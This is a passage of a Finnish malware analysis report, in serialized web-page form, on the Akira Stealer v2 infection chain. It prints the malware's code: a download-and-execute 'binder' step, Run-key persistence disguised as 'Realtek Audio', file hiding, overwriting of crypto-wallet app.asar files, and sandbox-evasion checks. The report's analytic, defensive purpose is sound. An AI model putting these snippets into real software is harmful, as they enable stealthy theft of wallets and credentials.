),\n",[1691,4117,4119],{"class":1693,"line":4118},10,[1691,4120,3073],{"class":3016},[604,4122,4123,4126],{},[607,4124,4125],{},"PORTABLE_EXECUTABLE_FILE on ympäristömuuttuja, jonka monet paketoijat (kuten Electron) asettavat automaattisesti viittaamaan suoritettavan binäärin polkuun.",[607,4127,4128],{},"path.join(...) rakentaa täysin määritellyn kohdepolun eri käyttöjärjestelmissä.",[533,4130,4131],{},"Tämä logiikka suoritetaan vain, jos tiedostoa ei ole jo olemassa—se toimii siis itsekorjausmekanismina, joka palauttaa dropperin, jos se poistetaan.",[533,4133,4134,4137],{},[540,4135,4136],{},"Rooli haittaohjelmaketjussa","\nTämän kopioidun Updater.exe:n läsnäolo varmistaa, että:",[604,4139,4140,4143],{},[607,4141,4142],{},"Loader voi käynnistää itsensä uudelleen järjestelmän uudelleenkäynnistysten yli.",[607,4144,4145],{},"Koko tartuntaketju (joka johtaa main.exe:hen, node.exe:hen ja lopulta astor.py:hyn) voi käynnistyä uudelleen ilman perinteisiä rekisteripohjaisia persistence-mekanismeja, joita todennäköisemmin valvotaan.",[870,4147,4149],{"id":4148},"_626-valinnainen-binderin-suoritus","6.2.6 Valinnainen binderin suoritus",[533,4151,876],{},[533,4153,4154,4155,4157],{},"Pääpayloadin (",[551,4156,582],{},") lataamisen ja suorittamisen lisäksi purettu JavaScript sisältää myös logiikan, jolla voidaan valinnaisesti ladata ja käynnistää toinen suoritettava tiedosto, jota kutsutaan \"binderiksi\". Tätä komponenttia voidaan käyttää persistenceen, harhautukseen tai lisähaittaohjelmamoduulien toimittamiseen.",[533,4159,4160],{},[540,4161,4162],{},"Ehdollinen suoritus",[533,4164,4165],{},"Binder-logiikka aktivoituu vain, jos tietty lippu on asetettu:",[588,4167,4169],{"className":2997,"code":4168,"language":2999,"meta":594,"style":594},"enableBinder = true;\n",[551,4170,4171],{"__ignoreMap":594},[1691,4172,4173,4176,4178,4181],{"class":1693,"line":1694},[1691,4174,4175],{"class":3016},"enableBinder ",[1691,4177,3174],{"class":3006},[1691,4179,4180],{"class":2786}," true",[1691,4182,3455],{"class":3016},[533,4184,4185,4186,4189],{},"Analysoidussa näytteessä tämä arvo oli oletuksena ",[551,4187,4188],{},"false",", mutta logiikka on edelleen upotettuna payloadiin ja se voidaan triviaalisti ottaa käyttöön toisessa kampanjassa tai variantissa.",[533,4191,4192],{},[540,4193,4194],{},"Binderin latauslogiikka",[533,4196,4197,4198,1181],{},"Jos toiminto aktivoidaan, skripti yrittää hakea ulkoisen binäärin URL-osoitteesta, joka on määritelty paikanvarausmerkillä ",[551,4199,4200],{},"%BINDERURL%",[588,4202,4204],{"className":2997,"code":4203,"language":2999,"meta":594,"style":594},"const fileUrl = \"%BINDERURL%\";\nconst fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\nconst writer = fs.createWriteStream(binderFile);\nfileResponse.data.pipe(writer);\n",[551,4205,4206,4220,4240,4255],{"__ignoreMap":594},[1691,4207,4208,4210,4213,4215,4218],{"class":1693,"line":1694},[1691,4209,3007],{"class":3006},[1691,4211,4212],{"class":2786}," fileUrl",[1691,4214,3013],{"class":3006},[1691,4216,4217],{"class":2782}," \"%BINDERURL%\"",[1691,4219,3455],{"class":3016},[1691,4221,4222,4224,4226,4228,4230,4232,4234,4236,4238],{"class":1693,"line":2070},[1691,4223,3007],{"class":3006},[1691,4225,3479],{"class":2786},[1691,4227,3013],{"class":3006},[1691,4229,3484],{"class":3006},[1691,4231,3487],{"class":3016},[1691,4233,3490],{"class":2778},[1691,4235,3493],{"class":3016},[1691,4237,3496],{"class":2782},[1691,4239,3499],{"class":3016},[1691,4241,4242,4244,4246,4248,4250,4252],{"class":1693,"line":2076},[1691,4243,3007],{"class":3006},[1691,4245,3517],{"class":2786},[1691,4247,3013],{"class":3006},[1691,4249,3522],{"class":3016},[1691,4251,3525],{"class":2778},[1691,4253,4254],{"class":3016},"(binderFile);\n",[1691,4256,4257,4259,4261],{"class":1693,"line":2082},[1691,4258,3533],{"class":3016},[1691,4260,3536],{"class":2778},[1691,4262,3539],{"class":3016},[604,4264,4265,4271],{},[607,4266,4267,4268,4270],{},"Tiedosto ",[551,4269,3366],{}," tallennetaan järjestelmän väliaikaishakemistoon.",[607,4272,4273,4274,4276],{},"Kuten ",[551,4275,2882],{},", binääri ladataan Axiosilla virtaamalla, jotta koko binääriä ei tarvitse ladata muistiin.",[533,4278,4279],{},[540,4280,4281],{},"Suoritusstrategia",[533,4283,4284,4285,4287],{},"Onnistuneen latauksen jälkeen skripti kutsuu ladattua binääriä ",[551,4286,1111],{},":n kautta varmistaen, että se suoritetaan uudessa komentotulkkikontekstissa:",[588,4289,4291],{"className":2997,"code":4290,"language":2999,"meta":594,"style":594},"exec(`start cmd /c start ${binderFile}`, ...);\n",[551,4292,4293],{"__ignoreMap":594},[1691,4294,4295,4297,4299,4302,4305,4308,4310,4313],{"class":1693,"line":1694},[1691,4296,3928],{"class":2778},[1691,4298,3208],{"class":3016},[1691,4300,4301],{"class":2782},"`start cmd /c start ${",[1691,4303,4304],{"class":3016},"binderFile",[1691,4306,4307],{"class":2782},"}`",[1691,4309,620],{"class":3016},[1691,4311,4312],{"class":3006},"...",[1691,4314,3073],{"class":3016},[533,4316,4317],{},"Luotettavuuden parantamiseksi skripti sisältää uudelleenyrityslogiikan:",[588,4319,4321],{"className":2997,"code":4320,"language":2999,"meta":594,"style":594},"setTimeout(() => {\n  exec(...);\n}, 5000);\n",[551,4322,4323,4335,4346],{"__ignoreMap":594},[1691,4324,4325,4328,4331,4333],{"class":1693,"line":1694},[1691,4326,4327],{"class":2778},"setTimeout",[1691,4329,4330],{"class":3016},"(() ",[1691,4332,3799],{"class":3006},[1691,4334,3802],{"class":3016},[1691,4336,4337,4340,4342,4344],{"class":1693,"line":2070},[1691,4338,4339],{"class":2778},"  exec",[1691,4341,3208],{"class":3016},[1691,4343,4312],{"class":3006},[1691,4345,3073],{"class":3016},[1691,4347,4348,4351,4354],{"class":1693,"line":2076},[1691,4349,4350],{"class":3016},"}, ",[1691,4352,4353],{"class":2786},"5000",[1691,4355,3073],{"class":3016},[533,4357,4358],{},"Tämä varmistaa, että vaikka ensimmäinen suoritus epäonnistuisi (esim. järjestelmän kuormituksen tai kilpailutilanteiden vuoksi), haittaohjelma yrittää käynnistää binäärin uudelleen lyhyen viiveen jälkeen.",[533,4360,4361],{},[540,4362,4363],{},"Binderin käyttötapaukset",[533,4365,4366],{},"Vaikka binder-binäärin tarkkaa tarkoitusta ei tässä näytteessä paljasteta (paikanvarausmerkillä olevan URL-osoitteen vuoksi), tällaisia komponentteja käytetään yleisesti seuraaviin:",[604,4368,4369,4372,4375,4378],{},[607,4370,4371],{},"Ensisijaisten haittaohjelmakomponenttien uudelleenasennus tai uudelleenkäynnistys",[607,4373,4374],{},"Väärennettyjen asennusohjelmien tai harhautussovellusten näyttäminen",[607,4376,4377],{},"Lisävakoiluohjelmien, takaovien tai kiristyshaittaohjelmien toimittaminen",[607,4379,4380],{},"Järjestelmäasetusten muokkaaminen tai tietoturvaominaisuuksien poistaminen käytöstä",[721,4382,4384],{"id":4383},"_63-yhteenveto","6.3 Yhteenveto",[533,4386,727],{},[533,4388,4389,4391],{},[551,4390,2820],{}," on erittäin obfuskoitu, salattu JavaScript-loader, joka käyttää alan standardikryptografiaa (PBKDF2 + AES-256-CBC) suojatakseen todellisen tarkoituksensa. Salauksen purun jälkeen se toimii täysin toimintakykyisenä toisen vaiheen loaderina, joka:",[604,4393,4394,4399,4402,4407],{},[607,4395,4396,4397,1122],{},"Hakee lisää haittaohjelmia (",[551,4398,2882],{},[607,4400,4401],{},"Muokkaa payloadin käyttäytymistä dynaamisesti",[607,4403,4404,4405,1122],{},"Käynnistää varsinaisen stealer-skriptin (",[551,4406,582],{},[607,4408,4409,4410,1817],{},"Vahvistaa persistenceä palauttamalla ",[551,4411,574],{},[533,4413,4414,4415,4418],{},"Sen yhdistelmä salausta, dynaamista suoritusta, modulaarista payloadin hakua ja tiedostotonta toimintaa osoittaa ",[540,4416,4417],{},"erittäin kehittynyttä JavaScript-pohjaista haittaohjelma-arkkitehtuuria",", joka hyödyntää Node.js:n kyvykkyyksiä Electron-kuoressa.",[528,4420,4422,4423,1122],{"id":4421},"_7-deepdive-akira-stealer-v2-astorpy","7. DeepDive: Akira Stealer v2 (",[551,4424,582],{},[533,4426,535],{},[721,4428,4430],{"id":4429},"_71-toiminnallisuus-yleisellä-tasolla","7.1. Toiminnallisuus yleisellä tasolla",[533,4432,727],{},[533,4434,4435,4436,4438],{},"Akira Stealer v2 (",[551,4437,582],{},") on monitoiminen, modulaarinen Pythonilla kirjoitettu infostealer-haittaohjelma. Se on suunniteltu exfiltroimaan laaja kirjo arkaluonteista käyttäjädataa sekä Chromium- että Firefox-pohjaisista selaimista, kryptolompakoista, viestintäsovelluksista (esim. Discord, Telegram) ja järjestelmätiedostoista. Se sisältää hienostuneita analyysin vastaisia mekanismeja, rekisteripohjaisen persistencen, leikepöydän kaappauksen ja muisti-injektiotekniikoita.",[721,4440,4442],{"id":4441},"_72-persistence-ja-käyttöönotto","7.2 Persistence ja käyttöönotto",[533,4444,727],{},[870,4446,4448],{"id":4447},"_721-suoritusketjun-konteksti","7.2.1 Suoritusketjun konteksti",[533,4450,876],{},[533,4452,4453,4455],{},[551,4454,582],{},":tä ei suoriteta itsenäisesti, vaan se on viimeinen payload monivaiheisessa hyökkäysketjussa:",[588,4457,4461],{"className":4458,"code":4459,"language":4460,"meta":594,"style":594},"language-plaintext shiki shiki-themes github-light github-dark","Updater.exe\n  └── main.exe (Electron app)\n        └── cmd.exe\n              └── python.exe astor.py\n","plaintext",[551,4462,4463,4468,4473,4478],{"__ignoreMap":594},[1691,4464,4465],{"class":1693,"line":1694},[1691,4466,4467],{},"Updater.exe\n",[1691,4469,4470],{"class":1693,"line":2070},[1691,4471,4472],{},"  └── main.exe (Electron app)\n",[1691,4474,4475],{"class":1693,"line":2076},[1691,4476,4477],{},"        └── cmd.exe\n",[1691,4479,4480],{"class":1693,"line":2082},[1691,4481,4482],{},"              └── python.exe astor.py\n",[533,4484,4485,4486,4488],{},"Tämä jäsennelty suoritusketju antaa jokaisen vaiheen välttää havaitsemisen delegoimalla haitallisen toiminnallisuuden seuraavalle. ",[551,4487,574],{}," käynnistää sarjan ja vastaa persistencen ylläpidosta.",[870,4490,4492],{"id":4491},"_722-rekisteripohjainen-persistence","7.2.2 Rekisteripohjainen persistence",[533,4494,876],{},[533,4496,4497,4498,4500],{},"Akira luo persistencen kirjoittamalla rekisteriavaimen nykyisen käyttäjän Run-polun alle. Tämä varmistaa, että ",[551,4499,574],{}," suoritetaan jokaisen järjestelmän käynnistyksen yhteydessä:",[588,4502,4506],{"className":4503,"code":4504,"language":4505,"meta":594,"style":594},"language-python shiki shiki-themes github-light github-dark","command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\nos.system(command)\n","python",[551,4507,4508,4513],{"__ignoreMap":594},[1691,4509,4510],{"class":1693,"line":1694},[1691,4511,4512],{},"command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\n",[1691,4514,4515],{"class":1693,"line":2070},[1691,4516,4517],{},"os.system(command)\n",[604,4519,4520,4527,4534],{},[607,4521,4522,981,4525],{},[540,4523,4524],{},"Polku",[551,4526,1663],{},[607,4528,4529,981,4531,4533],{},[540,4530,1668],{},[551,4532,1671],{}," (valittu näyttämään vaarattomalta)",[607,4535,4536,4538,4539],{},[540,4537,1676],{},": Tyypillisesti ",[551,4540,4541],{},"AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\Updater.exe",[533,4543,4544,4545,4548],{},"Tämä komento kirjoittaa autorun-merkinnän hiljaa PowerShellin tai natiivin ",[551,4546,4547],{},"os.system()","-suorituksen kautta.",[870,4550,4552],{"id":4551},"_723-tiedoston-piilottaminen","7.2.3 Tiedoston piilottaminen",[533,4554,876],{},[533,4556,4557],{},"Hämärtääkseen binääriä entisestään käyttäjiltä ja yksinkertaisilta virustorjuntaskannauksilta tiedosto merkitään hidden- ja system-attribuuteilla:",[588,4559,4561],{"className":4503,"code":4560,"language":4505,"meta":594,"style":594},"subprocess.run([\"attrib\", \"+h\", \"+s\", destination_path])\n",[551,4562,4563],{"__ignoreMap":594},[1691,4564,4565],{"class":1693,"line":1694},[1691,4566,4560],{},[604,4568,4569,4575],{},[607,4570,4571,4574],{},[551,4572,4573],{},"+h",": Merkitsee tiedoston piilotetuksi",[607,4576,4577,4580],{},[551,4578,4579],{},"+s",": Merkitsee tiedoston suojatuksi järjestelmätiedostoksi",[533,4582,4583],{},"Tämä poistaa tiedoston käytännössä Windowsin Resurssienhallinnan vakionäkymistä ja lisää huomaamattomuutta.",[870,4585,4587],{"id":4586},"_724-uudelleentartuntatekniikat","7.2.4 Uudelleentartuntatekniikat",[533,4589,876],{},[533,4591,4592,4593,4595,4596,620,4599,4602],{},"Haittaohjelma tukee itsensä monistamista ja uudelleentartuntaa Electron-sovellusten kaappauksen kautta. Tarkemmin sanottuna se korvaa ",[551,4594,1055],{},"-arkiston Electron-pohjaisissa työpöytälompakoissa (esim. ",[540,4597,4598],{},"Exodus",[540,4600,4601],{},"Atomic Wallet",") suorittaakseen haitallista JavaScriptiä laillisen sovelluksen käynnistyksen aikana.",[533,4604,4605],{},"Logiikka etsii tunnettuja lompakkosovellusten polkuja:",[588,4607,4609],{"className":4503,"code":4608,"language":4505,"meta":594,"style":594},"path = os.getenv(\"APPDATA\") + \"\\\\Exodus\\\\resources\\\\app.asar\"\n",[551,4610,4611],{"__ignoreMap":594},[1691,4612,4613],{"class":1693,"line":1694},[1691,4614,4608],{},[533,4616,4617,4618,4620],{},"Jos kohdetiedosto on olemassa, se ylikirjoitetaan aseistetulla arkistolla. Tämä varmistaa persistencen myös sen jälkeen, kun ",[551,4619,574],{}," on siivottu käsin.",[721,4622,4624,4625,1122],{"id":4623},"_73-analyysin-vastaisuus-väistely-luokka-vmprotect","7.3 Analyysin vastaisuus / väistely (luokka: ",[551,4626,4627],{},"VmProtect",[533,4629,727],{},[870,4631,4633],{"id":4632},"_731-johdanto","7.3.1 Johdanto",[533,4635,876],{},[533,4637,4638,4639,4642,4643,4645],{},"Nykyaikaisissa haittaohjelmakampanjoissa analyysin väistäminen virtualisoiduissa ja sandbox-ympäristöissä on kriittistä huomaamattomuuden säilyttämiseksi. ",[4640,4641,650],"em",{}," toteuttaa kattavan VM- ja sandbox-havaitsemismoduulin (",[551,4644,4627],{},"), joka tunnistaa aggressiivisesti analyytikon hallinnoimat ympäristöt ja keskeyttää suorituksen niissä. Tämä raportti pilkkoo osiin jokaisen havaitsemistekniikan, esittää tarkat koodikatkelmat—mukaan lukien täydelliset estolistamäärittelyt—ja kuvaa käytetyn analyysimenetelmän.",[870,4647,4649],{"id":4648},"_732-yleiskuva","7.3.2 Yleiskuva",[533,4651,876],{},[533,4653,4654,4656],{},[551,4655,4627],{},"-luokka toteuttaa vankan VM- ja sandbox-havaitsemisen suorituksen ennenaikaiseen keskeyttämiseen analyysiympäristöissä. Se tukee kahta havaitsemistasoa:",[604,4658,4659,4665],{},[607,4660,4661,4664],{},[540,4662,4663],{},"Taso 1",": Kevyet, nopeat tarkistukset",[607,4666,4667,4670],{},[540,4668,4669],{},"Taso 2",": Syvälliset, kattavat luotaukset",[533,4672,2370,4673,4676,4677,4680,4681,4684],{},[551,4674,4675],{},"VmProtect.isVM(level)"," palauttaa ",[551,4678,4679],{},"True",", haittaohjelma kutsuu ",[551,4682,4683],{},"sys.exit()","-funktiota ja estää jatkoanalyysin.",[870,4686,4688],{"id":4687},"_733-havaitsemistasot","7.3.3 Havaitsemistasot",[533,4690,876],{},[1403,4692,4693,4694],{},"\n  ",[1419,4695,4696,4693,4705,4693,4715,4693,4724,4693,4733,4693,4743,4693,4752,4693,4761],{},[1409,4697,4698,4699,4698,4701,4698,4703,4693],{},"\n    ",[1412,4700,1414],{},[1412,4702,4663],{},[1412,4704,4669],{},[1409,4706,4698,4707,4698,4710,4698,4713,4693],{},[1424,4708,4709],{},"HTTPSimulation",[1424,4711,4712],{},"✔️",[1424,4714,4712],{},[1409,4716,4698,4717,4698,4720,4698,4722,4693],{},[1424,4718,4719],{},"Tietokoneen nimien estolista",[1424,4721,4712],{},[1424,4723,4712],{},[1409,4725,4698,4726,4698,4729,4698,4731,4693],{},[1424,4727,4728],{},"Käyttäjätilien estolista",[1424,4730,4712],{},[1424,4732,4712],{},[1409,4734,4698,4735,4698,4738,4698,4741,4693],{},[1424,4736,4737],{},"Laitteiston UUID:iden estolista",[1424,4739,4740],{},"❌",[1424,4742,4712],{},[1409,4744,4698,4745,4698,4748,4698,4750,4693],{},[1424,4746,4747],{},"Julkisen hosting-API:n tarkistus",[1424,4749,4740],{},[1424,4751,4712],{},[1409,4753,4698,4754,4698,4757,4698,4759,4693],{},[1424,4755,4756],{},"Rekisterin ja GPU:n vihjeet",[1424,4758,4740],{},[1424,4760,4712],{},[1409,4762,4698,4763,4698,4766,4698,4768,4693],{},[1424,4764,4765],{},"Prosessien tappaminen taustalla",[1424,4767,4712],{},[1424,4769,4712],{},[835,4771],{"className":4772},[838,839],[870,4774,4776,4777,4779],{"id":4775},"_734-vmprotect-arkkitehtuuri","7.3.4 ",[551,4778,4627],{},"-arkkitehtuuri",[533,4781,876],{},[533,4783,4784,4786],{},[551,4785,4627],{},"-luokka tarjoaa seuraavat ensisijaiset metodit:",[604,4788,4789,4796,4803,4810,4817,4824,4831,4838],{},[607,4790,4791],{},[540,4792,4793],{},[551,4794,4795],{},"checkUUID()",[607,4797,4798],{},[540,4799,4800],{},[551,4801,4802],{},"checkComputerName()",[607,4804,4805],{},[540,4806,4807],{},[551,4808,4809],{},"checkUsers()",[607,4811,4812],{},[540,4813,4814],{},[551,4815,4816],{},"checkHosting()",[607,4818,4819],{},[540,4820,4821],{},[551,4822,4823],{},"checkHTTPSimulation()",[607,4825,4826],{},[540,4827,4828],{},[551,4829,4830],{},"checkRegistry()",[607,4832,4833],{},[540,4834,4835],{},[551,4836,4837],{},"killTasks()",[607,4839,4840],{},[540,4841,4842],{},[551,4843,4844],{},"isVM(level)",[533,4846,4847,4848,4851],{},"Jokainen metodi palauttaa totuusarvon tai suorittaa väistelyvaiheita. ",[551,4849,4850],{},"isVM","-kääre kokoaa nämä tarkistukset annetun tason mukaan.",[1403,4853,4693,4854],{},[1419,4855,4856,4693,4867,4693,4881,4693,4895,4693,4908,4693,4921,4693,4934,4693,4947,4693,4962],{},[1409,4857,4698,4858,4698,4861,4698,4864,4693],{},[1412,4859,4860],{},"Metodi",[1412,4862,4863],{},"Laukaisija",[1412,4865,4866],{},"Kuvaus",[1409,4868,4698,4869,4698,4873,4698,4878,4693],{},[1424,4870,4871],{},[551,4872,4795],{},[1424,4874,4875],{},[551,4876,4877],{},"isVM(2)",[1424,4879,4880],{},"WMI-UUID:iden estolista",[1409,4882,4698,4883,4698,4887,4698,4892,4693],{},[1424,4884,4885],{},[551,4886,4802],{},[1424,4888,4889],{},[551,4890,4891],{},"isVM(1,2)",[1424,4893,4894],{},"Osuma ympäristön hostnameen",[1409,4896,4698,4897,4698,4901,4698,4905,4693],{},[1424,4898,4899],{},[551,4900,4809],{},[1424,4902,4903],{},[551,4904,4891],{},[1424,4906,4907],{},"Käyttäjänimien estolista",[1409,4909,4698,4910,4698,4914,4698,4918,4693],{},[1424,4911,4912],{},[551,4913,4816],{},[1424,4915,4916],{},[551,4917,4877],{},[1424,4919,4920],{},"IP:n hosting-tarjoajan tarkistus ip-api.comin kautta",[1409,4922,4698,4923,4698,4927,4698,4931,4693],{},[1424,4924,4925],{},[551,4926,4823],{},[1424,4928,4929],{},[551,4930,4891],{},[1424,4932,4933],{},"HTTPS-sieppauksen havaitseminen",[1409,4935,4698,4936,4698,4940,4698,4944,4693],{},[1424,4937,4938],{},[551,4939,4830],{},[1424,4941,4942],{},[551,4943,4877],{},[1424,4945,4946],{},"Rekisterin ja GPU-ajurin artefaktit",[1409,4948,4698,4949,4698,4953,4698,4959,4693],{},[1424,4950,4951],{},[551,4952,4837],{},[1424,4954,4955,4958],{},[551,4956,4957],{},"isVM(...)"," spawn",[1424,4960,4961],{},"Päättää tunnetut analyysiprosessit",[1409,4963,4698,4964,4698,4968,4698,4971,4693],{},[1424,4965,4966],{},[551,4967,4844],{},[1424,4969,4970],{},"init",[1424,4972,4973,4974,4976],{},"Kokoaa tarkistukset ja kutsuu ",[551,4975,4837],{},"-säiettä",[835,4978],{"className":4979},[838,839],[588,4981,4983],{"className":4503,"code":4982,"language":4505,"meta":594,"style":594},"@staticmethod\ndef isVM(level: int) -> bool:\n    # Always start background task-killer\n    Thread(target=VmProtect.killTasks, daemon=True).start()\n    if level == 1:\n        # Fast path: HTTPS, hostname & user\n        return (\n            VmProtect.checkHTTPSimulation()\n            or VmProtect.checkComputerName()\n            or VmProtect.checkUsers()\n        )\n    if level == 2:\n        # Deep scan: includes UUID, hosting, registry & GPU\n        try:\n            return (\n                VmProtect.checkHTTPSimulation()\n                or VmProtect.checkUUID()\n                or VmProtect.checkComputerName()\n                or VmProtect.checkUsers()\n                or VmProtect.checkHosting()\n                or VmProtect.checkRegistry()\n            )\n        except:\n            return False\n    return False\n",[551,4984,4985,4990,4995,5000,5005,5010,5015,5020,5025,5030,5035,5041,5047,5053,5059,5065,5071,5077,5083,5089,5095,5101,5107,5113,5119],{"__ignoreMap":594},[1691,4986,4987],{"class":1693,"line":1694},[1691,4988,4989],{},"@staticmethod\n",[1691,4991,4992],{"class":1693,"line":2070},[1691,4993,4994],{},"def isVM(level: int) -> bool:\n",[1691,4996,4997],{"class":1693,"line":2076},[1691,4998,4999],{},"    # Always start background task-killer\n",[1691,5001,5002],{"class":1693,"line":2082},[1691,5003,5004],{},"    Thread(target=VmProtect.killTasks, daemon=True).start()\n",[1691,5006,5007],{"class":1693,"line":2406},[1691,5008,5009],{},"    if level == 1:\n",[1691,5011,5012],{"class":1693,"line":2412},[1691,5013,5014],{},"        # Fast path: HTTPS, hostname & user\n",[1691,5016,5017],{"class":1693,"line":3070},[1691,5018,5019],{},"        return (\n",[1691,5021,5022],{"class":1693,"line":3866},[1691,5023,5024],{},"            VmProtect.checkHTTPSimulation()\n",[1691,5026,5027],{"class":1693,"line":3872},[1691,5028,5029],{},"            or VmProtect.checkComputerName()\n",[1691,5031,5032],{"class":1693,"line":4118},[1691,5033,5034],{},"            or VmProtect.checkUsers()\n",[1691,5036,5038],{"class":1693,"line":5037},11,[1691,5039,5040],{},"        )\n",[1691,5042,5044],{"class":1693,"line":5043},12,[1691,5045,5046],{},"    if level == 2:\n",[1691,5048,5050],{"class":1693,"line":5049},13,[1691,5051,5052],{},"        # Deep scan: includes UUID, hosting, registry & GPU\n",[1691,5054,5056],{"class":1693,"line":5055},14,[1691,5057,5058],{},"        try:\n",[1691,5060,5062],{"class":1693,"line":5061},15,[1691,5063,5064],{},"            return (\n",[1691,5066,5068],{"class":1693,"line":5067},16,[1691,5069,5070],{},"                VmProtect.checkHTTPSimulation()\n",[1691,5072,5074],{"class":1693,"line":5073},17,[1691,5075,5076],{},"                or VmProtect.checkUUID()\n",[1691,5078,5080],{"class":1693,"line":5079},18,[1691,5081,5082],{},"                or VmProtect.checkComputerName()\n",[1691,5084,5086],{"class":1693,"line":5085},19,[1691,5087,5088],{},"                or VmProtect.checkUsers()\n",[1691,5090,5092],{"class":1693,"line":5091},20,[1691,5093,5094],{},"                or VmProtect.checkHosting()\n",[1691,5096,5098],{"class":1693,"line":5097},21,[1691,5099,5100],{},"                or VmProtect.checkRegistry()\n",[1691,5102,5104],{"class":1693,"line":5103},22,[1691,5105,5106],{},"            )\n",[1691,5108,5110],{"class":1693,"line":5109},23,[1691,5111,5112],{},"        except:\n",[1691,5114,5116],{"class":1693,"line":5115},24,[1691,5117,5118],{},"            return False\n",[1691,5120,5122],{"class":1693,"line":5121},25,[1691,5123,5124],{},"    return False\n",[870,5126,5128],{"id":5127},"_735-uuid-tarkistus-virtuaalikoneiden-tunnistaminen-laitteiston-uuidn-avulla","7.3.5 UUID-tarkistus – virtuaalikoneiden tunnistaminen laitteiston UUID:n avulla",[533,5130,876],{},[533,5132,5133],{},"Yleinen taktiikka haittaohjelmien väistelyssä on taustalla olevan laitteistoympäristön sormenjälkien kerääminen. Yksi varhaisimmista tunnisteista, joka voi paljastaa virtuaalikoneen, on järjestelmän UUID (Universally Unique Identifier). Virtualisointialustat kuten VMware ja VirtualBox generoivat usein ennustettavia tai uudelleenkäytettyjä UUID-tunnuksia, joiden avulla haittaohjelma voi päätellä, suoritetaanko sitä virtualisoidussa tai sandbox-ympäristössä.",[588,5135,5137],{"className":4503,"code":5136,"language":4505,"meta":594,"style":594},"@staticmethod\ndef checkUUID() -> bool:\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\", shell=True,\n            capture_output=True\n        ).stdout.splitlines()[2].decode().strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n",[551,5138,5139,5143,5148,5153,5158,5163,5168,5173,5178,5183],{"__ignoreMap":594},[1691,5140,5141],{"class":1693,"line":1694},[1691,5142,4989],{},[1691,5144,5145],{"class":1693,"line":2070},[1691,5146,5147],{},"def checkUUID() -> bool:\n",[1691,5149,5150],{"class":1693,"line":2076},[1691,5151,5152],{},"    try:\n",[1691,5154,5155],{"class":1693,"line":2082},[1691,5156,5157],{},"        raw = subprocess.run(\n",[1691,5159,5160],{"class":1693,"line":2406},[1691,5161,5162],{},"            \"wmic csproduct get uuid\", shell=True,\n",[1691,5164,5165],{"class":1693,"line":2412},[1691,5166,5167],{},"            capture_output=True\n",[1691,5169,5170],{"class":1693,"line":3070},[1691,5171,5172],{},"        ).stdout.splitlines()[2].decode().strip()\n",[1691,5174,5175],{"class":1693,"line":3866},[1691,5176,5177],{},"    except:\n",[1691,5179,5180],{"class":1693,"line":3872},[1691,5181,5182],{},"        raw = \"\"\n",[1691,5184,5185],{"class":1693,"line":4118},[1691,5186,5187],{},"    return raw in VmProtect.BLACKLISTED_UUIDS\n",[533,5189,5190],{},"Tämä tarkistus hyödyntää Windows Management Instrumentation Command-line (WMIC) -työkalua isäntäkoneen UUID:n poimimiseen. Palautettua arvoa verrataan sen jälkeen kuratoituun listaan UUID-tunnuksia, jotka liittyvät yleisesti virtuaalikonepohjiin tai tunnettuihin analyysiympäristöihin.",[870,5192,5194],{"id":5193},"_736-tietokoneen-nimen-tarkistus-sandbox-ja-analyysiympäristöjen-havaitseminen-hostnamen-avulla","7.3.6 Tietokoneen nimen tarkistus – sandbox- ja analyysiympäristöjen havaitseminen hostnamen avulla",[533,5196,876],{},[533,5198,5199,5200,5203],{},"Järjestelmän hostname, joka on saatavilla ",[551,5201,5202],{},"%COMPUTERNAME%","-ympäristömuuttujan kautta, paljastaa usein vihjeitä ympäristöstään. Analyytikot käyttävät usein oletusnimiä tai nopeasti generoituja nimiä, kuten \"DESKTOP-XXXXXXX\", \"WIN10ANALYSIS\", tai jopa omiin sisäisiin ympäristöihinsä viittaavia nimiä. Haittaohjelma käyttää tätä hyväkseen vertaamalla järjestelmän hostnamea estolistaan.",[588,5205,5207],{"className":4503,"code":5206,"language":4505,"meta":594,"style":594},"@staticmethod\ndef checkComputerName() -> bool:\n    name = os.getenv(\"computername\", \"\").lower()\n    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n\nBLACKLISTED_COMPUTERNAMES = (\n    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n    'desktop-vkeons4','ntt-eff-2w11wss',\n    # ... dozens more entries ...\n)\n",[551,5208,5209,5213,5218,5223,5228,5232,5237,5242,5247,5252],{"__ignoreMap":594},[1691,5210,5211],{"class":1693,"line":1694},[1691,5212,4989],{},[1691,5214,5215],{"class":1693,"line":2070},[1691,5216,5217],{},"def checkComputerName() -> bool:\n",[1691,5219,5220],{"class":1693,"line":2076},[1691,5221,5222],{},"    name = os.getenv(\"computername\", \"\").lower()\n",[1691,5224,5225],{"class":1693,"line":2082},[1691,5226,5227],{},"    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1691,5229,5230],{"class":1693,"line":2406},[1691,5231,3863],{"emptyLinePlaceholder":325},[1691,5233,5234],{"class":1693,"line":2412},[1691,5235,5236],{},"BLACKLISTED_COMPUTERNAMES = (\n",[1691,5238,5239],{"class":1693,"line":3070},[1691,5240,5241],{},"    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n",[1691,5243,5244],{"class":1693,"line":3866},[1691,5245,5246],{},"    'desktop-vkeons4','ntt-eff-2w11wss',\n",[1691,5248,5249],{"class":1693,"line":3872},[1691,5250,5251],{},"    # ... dozens more entries ...\n",[1691,5253,5254],{"class":1693,"line":4118},[1691,5255,5256],{},")\n",[533,5258,5259],{},"Jos osuma löytyy, haittaohjelma voi päättää keskeyttää suorituksen tai toimittaa väärennetyn payloadin ja välttää siten täyden käyttäytymisanalyysin.",[870,5261,5263],{"id":5262},"_737-käyttäjätilin-tarkistus-analyytikko-ja-oletustilien-profilointi","7.3.7 Käyttäjätilin tarkistus – analyytikko- ja oletustilien profilointi",[533,5265,876],{},[533,5267,5268],{},"Toinen heuristiikka arvioi käyttäjätunnusta, jolla haittaohjelma suoritetaan. Monet virtuaalikonepohjat ja sandboxit käyttävät uudelleen yleisiä käyttäjätunnuksia, kuten \"Abby\", \"Test\" 